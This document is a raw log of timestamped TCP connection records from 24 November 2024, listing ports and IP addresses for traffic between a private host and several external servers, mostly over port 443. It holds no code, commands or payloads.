Nov 24, 2024 00:06:26.096276999 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.097024918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.097117901 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.097822905 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.097835064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.097846985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.097884893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.097928047 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.098628044 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.098723888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.099423885 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.099436045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.099504948 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.104093075 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.104146957 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.139638901 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.139712095 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.139970064 CET	49736	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.140136003 CET	49736	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.140150070 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.140158892 CET	49736	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.140163898 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.143871069 CET	49744	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.143904924 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.144037962 CET	49744	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.144157887 CET	49744	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.144167900 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.170280933 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.170351982 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.170469046 CET	49737	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.170696974 CET	49737	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.170707941 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.170722961 CET	49737	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.170727968 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.174438953 CET	49745	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.174455881 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.174613953 CET	49745	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.174845934 CET	49745	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:26.174858093 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:26.564392090 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:26.564589024 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:26.564655066 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:26.564766884 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:26.564786911 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:27.531589985 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.576025009 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.576066971 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:27.576297998 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.576708078 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.576735020 CET	443	49750	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:27.576883078 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.578685999 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.578704119 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:27.578844070 CET	49750	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.578855991 CET	443	49750	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:27.585992098 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.586010933 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.586541891 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.586548090 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.591161013 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:27.591229916 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:27.591931105 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:27.592159986 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:27.597222090 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:27.597291946 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:27.597399950 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.603710890 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.603720903 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.604211092 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.604217052 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.605568886 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.605600119 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:27.605746984 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.683020115 CET	49751	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.683044910 CET	443	49751	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:27.685465097 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.685497046 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:27.685590029 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.685770988 CET	49752	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:27.685781002 CET	443	49752	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:27.774249077 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.775321960 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.775337934 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.775970936 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.775983095 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.855079889 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:27.855108023 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:27.855459929 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:27.855467081 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:27.962456942 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.962950945 CET	49744	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.962964058 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.963449955 CET	49744	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.963454008 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.964642048 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.964730024 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.964811087 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.965048075 CET	49745	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.965060949 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.965079069 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.965440989 CET	49745	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.965445995 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.965456963 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.965471029 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.965496063 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.965502024 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.969715118 CET	49755	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.969764948 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.969906092 CET	49755	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.970136881 CET	49755	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:27.970155001 CET	443	49755	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:27.972666025 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:27.972691059 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:27.972985029 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:27.973037004 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:27.973169088 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.019335985 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.051121950 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.051184893 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.051556110 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.051598072 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.051598072 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.051615953 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.051625967 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.054699898 CET	49756	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.054734945 CET	443	49756	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.055203915 CET	49756	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.055351019 CET	49756	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.055361986 CET	443	49756	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.208849907 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.209008932 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.209110975 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.216571093 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.216593981 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.216623068 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.216628075 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.219777107 CET	49757	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.219801903 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.219914913 CET	49757	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.220097065 CET	49757	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.220113039 CET	443	49757	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.224829912 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.224853992 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.224869967 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.224905968 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.224932909 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.224937916 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.224981070 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.310445070 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.310498953 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.310512066 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.310522079 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.310563087 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.310688019 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.310688019 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.310699940 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.310776949 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.316174030 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.316200972 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.316277027 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.316649914 CET	49758	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.316668034 CET	443	49758	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.396585941 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.396672010 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.396874905 CET	49744	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.397090912 CET	49744	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.397090912 CET	49744	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.397108078 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.397118092 CET	443	49744	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.398758888 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.398844957 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.398977995 CET	49745	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.399111986 CET	49745	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.399116039 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.399126053 CET	49745	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.399130106 CET	443	49745	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.400376081 CET	49759	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.400387049 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.400470972 CET	49759	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.400727987 CET	49759	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.400738955 CET	443	49759	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.401468992 CET	49760	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.401493073 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.401565075 CET	49760	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.401716948 CET	49760	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:28.401727915 CET	443	49760	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:28.417753935 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.417776108 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.417820930 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.417829037 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.417865038 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.417885065 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.469556093 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.469574928 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.469655037 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.469664097 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.469705105 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.602463007 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.602482080 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.602574110 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.602581024 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.602623940 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.636718988 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.636734962 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.636805058 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.636810064 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.636843920 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.653625011 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.653640985 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.653731108 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.653736115 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.653779030 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.673136950 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.673151970 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.673263073 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.673269033 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.673322916 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.808000088 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.808044910 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.808067083 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.808075905 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.808128119 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.824418068 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.824438095 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.824489117 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.824493885 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.824539900 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.840708017 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.840724945 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.840794086 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.840801954 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.840835094 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.854883909 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.854899883 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.854959965 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.854967117 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.855010033 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.871325016 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.871349096 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.871453047 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.871453047 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.871462107 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.871505976 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.886594057 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.886611938 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.886687994 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:28.886694908 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:28.886739969 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.019730091 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.019753933 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.019817114 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.019829035 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.019880056 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.030591011 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.030606031 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.030653954 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.030659914 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.030694008 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.043139935 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.043160915 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.043206930 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.043212891 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.043257952 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.055639029 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.055653095 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.055710077 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.055715084 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.055747032 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.068278074 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.068293095 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.068356037 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.068361998 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.068402052 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.079924107 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.079942942 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.079993963 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.079999924 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.080044031 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.090806961 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.090825081 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.090882063 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.090886116 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.090918064 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.090931892 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.103405952 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.103423119 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.103486061 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.103492022 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.103530884 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.223360062 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.223380089 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.223443985 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.223454952 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.223493099 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.233366966 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.233381987 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.233438969 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.233443975 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.233484983 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.241940022 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.241955042 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.242019892 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.242024899 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.242063046 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.251889944 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.251904011 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.251971006 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.251976967 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.252017021 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.261672974 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.261687994 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.261750937 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.261755943 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.261791945 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.271100044 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.271116972 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.271167994 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.271172047 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.271202087 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.271222115 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.280823946 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.280843973 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.280904055 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.280909061 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.280946016 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.289359093 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.289376020 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.289422035 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.289429903 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:29.289467096 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:29.327749014 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.328013897 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.328023911 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.329658985 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.329730034 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.331135035 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.331218958 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.331306934 CET	49749	443	192.168.2.6	142.250.181.68
Nov 24, 2024 00:06:29.331320047 CET	443	49749	142.250.181.68	192.168.2.6
Nov 24, 2024 00:06:29.400697947 CET	443	49750	142.250.181.68	192.168.2.6
